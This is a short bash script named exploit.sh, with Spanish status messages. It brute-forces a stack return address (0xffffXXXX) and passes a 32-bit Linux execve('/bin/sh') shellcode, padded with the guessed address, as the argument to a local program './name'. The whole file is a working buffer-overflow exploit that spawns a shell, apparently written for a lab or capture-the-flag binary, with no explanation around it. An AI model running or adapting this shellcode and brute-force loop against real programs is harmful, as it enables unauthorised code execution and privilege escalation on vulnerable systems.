exploit.sh

#!/bin/bash

max=255
for i in `seq 214 $max`
do
  for j in `seq 0 $max`
  do
    hex=`printf "%02x" $i`
    hex1=`printf "%02x" $j`
    echo "probando direccion: 0xffff$hex$hex1"

    shellcode="\x90\xeb\x1d\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xe8\xde\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68\x$hex1\x$hex\xff\xff"
    ./name `python -c "print '$shellcode'"`
    echo ./name $shellcode
  done
done